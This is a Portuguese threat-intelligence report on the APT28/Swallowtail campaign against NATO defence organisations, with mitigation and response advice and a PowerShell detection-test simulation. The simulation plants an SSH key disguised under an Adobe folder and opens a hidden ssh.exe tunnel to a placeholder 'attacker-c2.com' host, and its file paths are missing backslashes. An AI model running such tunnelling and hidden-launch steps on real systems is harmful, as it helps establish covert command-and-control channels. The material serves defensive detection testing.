Swallowtail Ligado à Rússia Alveja Empresas do Setor de Defesa da OTAN

Resumo

O grupo de espionagem russo Swallowtail, também rastreado como APT28, realizou uma intrusão de vários meses visando organizações de defesa, marítimas e de aplicação da lei em estados membros da OTAN. Os invasores implantaram o backdoor Hookedge e um carregador reflexivo não documentado chamado ld.exe para manter o acesso e executar payloads na memória. A campanha também envolveu técnicas avançadas, como tunelamento SSH para acesso persistente à rede e roubo de credenciais NTLM baseado em PowerShell.

Investigação

A Equipe de Caçadores de Ameaças da Symantec rastreou a infecção inicial para documentos do Word habilitados para macro entregues através do Outlook. Os analistas identificaram um mecanismo de entrega e retorno usando webhook.site e uma instância oculta do Microsoft Edge para recuperar tarefas. Os atacantes também mostraram atividade manual, realizando reconhecimento, sondagem de rede interna, movimento lateral e coleta de credenciais em ambientes comprometidos.

Mitigação

As organizações devem priorizar o bloqueio de endpoints conhecidos maliciosos do webhook.site e monitorar comportamentos anômalos do Microsoft Edge, incluindo janelas de navegador de um pixel ou fora da tela. Um filtro de saída rigoroso deve ser aplicado para impedir conexões SSH não autorizadas, enquanto as equipes de segurança devem monitorar atividades suspeitas de ouvintes em PowerShell. A proteção de endpoints também deve detectar a carga reflexiva e tentativas não autorizadas de acesso a credenciais.

Resposta

Se a atividade relacionada ao Hookedge for detectada, os respondedores devem isolar imediatamente os sistemas afetados para interromper túneis SSH ativos e comunicações C2. Realize uma varredura forense detalhada em busca de arquivos não documentados como ld.exe e inspecione as tarefas agendadas para mecanismos de persistência. Realize uma redefinição completa de credenciais para contas potencialmente expostas durante o roubo de credenciais NTLM ou comprometimento de chave SSH.

Execução de Simulação

• Narrativa do Ataque e Comandos: O adversário pretende estabelecer um túnel persistente e criptografado para sua infraestrutura de Comando e Controle (C2). Eles colocaram uma chave privada SSH roubada em C:ProgramDataAdobeid_rsa para se misturar com os metadados de software legítimo. Em seguida, tentam executar o túnel usando ssh.exe. Após o estabelecimento do túnel, eles tentam carregar um payload malicioso na memória usando um carregador reflexivo personalizado chamado ld.exe. Estas ações são projetadas para contornar defesas perimetrais tradicionais usando ferramentas legítimas (ssh.exe) e execução em memória (ld.exe).

• Script de Teste de Regressão:

  # 1. Simular Tunelamento SSH Swallowtail
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # Acionar a detecção SSH por correspondência exata de linha de comando
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. Simular execução de Carregador Reflexivo
  # Criando um ld.exe fictício para geração de telemetria
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # Nota: Em um cenário real, isso seria um binário; aqui simulamos o evento de criação de processo
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• Comandos de Limpeza:

  # Remover os arquivos e diretórios maliciosos simulados
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue